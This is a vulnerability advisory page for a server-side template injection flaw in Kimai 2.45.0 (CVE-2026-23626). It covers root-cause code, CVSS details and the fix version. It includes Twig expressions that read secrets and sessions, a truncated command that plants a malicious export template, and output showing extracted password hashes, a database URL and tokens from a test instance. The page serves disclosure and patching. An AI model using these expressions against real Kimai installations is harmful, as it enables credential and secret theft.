Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-23626 — kimai

🟡 CVSS 6.8 — Medium ⚠️ Exploit Public CWE-1336 NVD
6.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Kimai has an Authenticated Server-Side Template Injection (SSTI)

# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

| Field | Value |

|-------|-------|

| Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network |

| Attack Complexity | Low |

| Privileges Required | High (Admin with export permissions and server access) |

| User Interaction | None |

| Impact | Confidentiality: HIGH (Credential/Secret Extraction) |

| Affected Versions | Kimai 2.45.0 (likely earlier versions) |

| Tested On | Docker: kimai/kimai2:apache-2.45.0 |

| Discovery Date | 2026-01-05 |

Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.

Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

1. Environment Variables (APP_SECRET, DATABASE_URL)

2. All User Password Hashes (bcrypt)

3. Serialized Session Tokens

4. CSRF Tokens

Prerequisites

1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)

2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:

  • Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png:

<img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />

| User | Role | Hash Extracted |

|------|------|----------------|

| admin | ROLE_SUPER_ADMIN | ✅ Yes |

| lowpriv | ROLE_USER | ✅ Yes |

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

```

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES

APP_SECRET: change_this_to_something_unique

DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0

APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)

O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{

i:0;N;i:1;s:12:"secured_area";i:2;a:5:{

i:0;O:15:"App\Entity\User":5:{

s:2:"id";i:1;

s:8:"username";s:5:"admin";

s:7:"enabled";b:1;

s:5:"email";s:17:"[email protected]";

s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";

}

i:1;b:1;i:2;N;i:3;a:0:{}

i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}

}

}

3. CURRENT USER DETAILS

username: admin

email: [email protected]

password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye

roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)

admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye

lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS

_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4

_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

```

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

```php

$this->policy->addPolicy(new DefaultPolicy());

```

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

```php

final class DefaultPolicy implements SecurityPolicyInterface

{

public function checkSecurity($tags, $filters, $functions): void

{

// EMPTY - No restrictions on Twig tags/filters/functions

}

public function checkMethodAllowed($obj, $method): void

{

// EMPTY - Allows ANY method call on ANY object

}

public function checkPropertyAllowed($obj, $property): void

{

// EMPTY - Allows ANY property access on ANY object

}

}

```

This allows templates to call methods like:

  • app.request.server.get("APP_SECRET") - Environment variable access
  • app.session.get("_security_secured_area") - Session data access
  • entry.user.password - Password hash access

Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

```bash

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>SSTI Data Extraction</title>

<style>

body { font-family: monospace; font-size: 10px; }

h1, h2 { color: #333; }

pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-wo

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-23626 is classified as CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when…

Affected software

CVE-2026-23626 is recorded against 2 packages.

  • kimai (fixed in 2.46.0)
  • kimai/kimai (fixed in 2.46.0)

Timeline and source

Published on 18 January 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com

Other advisories for this package

kimai has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) in other software:

Details

Severity MEDIUM
CVSS Score 6.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
CWE CWE-1336
Public Exploit ⚠️ Yes
Source NVD
Published 2026-01-18
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
kimai — 2.46.0
kimai/kimai — 2.46.0

Similar Threats

Exploit Protection

Are you running kimai?

CVE-2026-23626 carries CVSS 6.8 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-23626 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓